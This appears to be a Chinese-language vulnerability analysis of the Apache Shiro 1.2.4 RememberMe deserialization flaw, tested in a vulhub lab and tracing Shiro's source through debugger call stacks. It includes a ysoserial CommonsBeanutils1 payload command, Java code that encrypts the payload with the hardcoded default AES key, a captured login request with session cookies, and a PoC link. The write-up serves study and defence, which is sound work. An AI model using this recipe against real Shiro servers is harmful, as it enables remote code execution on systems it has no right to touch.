Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。但是shiro本身有一个预设密钥Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
Apache Shiro <= 1.2.4
服务器:vulhub
客户端:添加org.apache.shiro依赖

使用ysoserial生成序列化payload
java.exe -jar .\ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用如下代码使用默认密钥加密生成的序列化数据
package org.chestnut;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("", "", "poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
shiro实现rememberMe的功能是使用了cookie,首先尝试了解cookie怎么生成的, 发送正常登录请求,在org.vulhub.shirodemo.UserController#doLoginPage下断点。
POST http://192.168.59.211:8080/doLogin HTTP/1.1
Host: 192.168.59.211:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://192.168.59.211:8080
Connection: close
Referer: http://192.168.59.211:8080/login
Cookie: wp-settings-time-1=1703849655; i_like_gitea=94b6fe5fe1049e19; lang=zh-CN; redirect_to=%2F; JSESSIONID=F43AC74A73C46A3D0C5A1405CAE2AB60; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e9913da348dbccb312080f19f2d5f42e=admin%7C1704022345%7CEdPzdFLXNFDYEcHohieOoyKm4RcvX7oRVRNwcfpA1dF%7C5759451a584ee6a090f44e53eb2fd9261f3ad2d4f4a99aa74e7a5e97e598ad1d;
Upgrade-Insecure-Requests: 1
username=admin&password=vulhub&rememberme=remember-me
因为代码中声明了路由/doLogin,所以上面的请求会触发到这个方法,在doLoginPage方法内会通过subject.login调用触发调用doGetAuthorizationInfo方法。
@PostMapping({"/doLogin"})
public String doLoginPage(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam(name = "rememberme",defaultValue = "") String rememberMe) {
Subject subject = SecurityUtils.getSubject();
try {
subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me")));
return "forward:/";
} catch (AuthenticationException var6) {
return "forward:/login";
}
}
调用栈如下:
doGetAuthenticationInfo:18, MainRealm (org.vulhub.shirodemo)
getAuthenticationInfo:568, AuthenticatingRealm (org.apache.shiro.realm)
doSingleRealmAuthentication:180, ModularRealmAuthenticator (org.apache.shiro.authc.pam)
doAuthenticate:267, ModularRealmAuthenticator (org.apache.shiro.authc.pam)
authenticate:198, AbstractAuthenticator (org.apache.shiro.authc)
authenticate:106, AuthenticatingSecurityManager (org.apache.shiro.mgt)
login:270, DefaultSecurityManager (org.apache.shiro.mgt)
login:256, DelegatingSubject (org.apache.shiro.subject.support)
doLoginPage:16, UserController (org.vulhub.shirodemo)
......
其中org.apache.shiro.mgt.DefaultSecurityManager#login代码如下
public Subject login(Subject subject, AuthenticationToken token) throws AuthenticationException {
AuthenticationInfo info;
try {
info = this.authenticate(token);
} catch (AuthenticationException var7) {
AuthenticationException ae = var7;
try {
this.onFailedLogin(token, ae, subject);
} catch (Exception var6) {
if (log.isInfoEnabled()) {
log.info("onFailedLogin method threw an exception. Logging and propagating original AuthenticationException.", var6);
}
}
throw var7;
}
Subject loggedIn = this.createSubject(token, info, subject);
this.onSuccessfulLogin(token, info, loggedIn);
return loggedIn;
}
当doGetAuthorizationInfo没有抛出错误时会调用onSuccessfulLogin方法
最终调用到org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin方法,代码如下
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
this.forgetIdentity(subject);
if (this.isRememberMe(token)) {
this.rememberIdentity(subject, token, info);
} else if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account.");
}
}
protected boolean isRememberMe(AuthenticationToken token) {
return token != null && token instanceof RememberMeAuthenticationToken && ((RememberMeAuthenticationToken)token).isRememberMe();
}
首先判断是否token是否有效以及是否需要设置rememberMe,如果是则进入rememberIdentity方法内,跟随调用栈,进入rememberIdentity方法
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

在调试器中看到,rememberIdentity方法通过调用convertPrincipalsToBytes方法获取到了字节数组,而后传给了rememberSerializedIdentity方法
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

那么这个字节数组是怎么产生的呢?跟进查看,可以看到首先调用serialize方法序列化,而后使用this.encrypt方法进行加密。其中序列化的对象为SimplePrincipalCollection类
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}
return bytes;
}
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
进入encrypt方法,从调试器中可以加密对象为AesCipherService类AES加密CBC模式,而后将目标数据和加密key传给cipherService.encrypt进行加密,key由getEncryptionCipherKey得到。

最终看到key在构造函数中分配,为固定值。
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
解密过程
前面我们知道序列化的类是SimplePrincipalCollection,路径为org.apache.shiro.subject.SimplePrincipalCollection,其重写了writeObject和readObject方法,直接在readObject方法断点,使用ysoserial生成恶意序列化数据,使用CommonsBeanutils1 链。 调用栈如下
readObject:295, SimplePrincipalCollection (org.apache.shiro.subject)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)
buildSubject:846, Subject$Builder (org.apache.shiro.subject)
.....
可以看出在org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals解密并反序列化,其解密过程也是调用AES解密并把默认密钥传入。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
在org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化,代码如下
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}
会尝试调用ObjectInputStream.readObject方法,而ClassResolvingObjectInputStream类重写了resolveClass方法,因此会调用重写的resolveClass方法
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
跟进THREAD_CL_ACCESSOR.loadClass,在调试其中可以看到已经获取到TomcatEmbeddedWebAppClassLoader,并且将目标类java.util.PriorityQueue加载。

而后尝试反序列化该类,该类重写了readObject方法,在该方法断点,调用栈如下
readObject:782, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:77, DefaultSerializer (org.apache.shiro.io)
deserialize:514, AbstractRememberMeManager (org.apache.shiro.mgt)
convertBytesToPrincipals:431, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
代码执行
通过传入 CommonsBeanutils1 链的序列化数据执行代码。
PoC https://paste.ubuntu.com/p/T5DNQXYm7H/
由于代码中使用了固定的密钥,使得攻击者可以构造合法的加密数据,使得shiro反序列化攻击者的恶意数据,触发反序列化,通过CommonsBeanutils1反序列化链实现代码执行。
参考链接
Created at 2024-01-08T18:08:35+08:00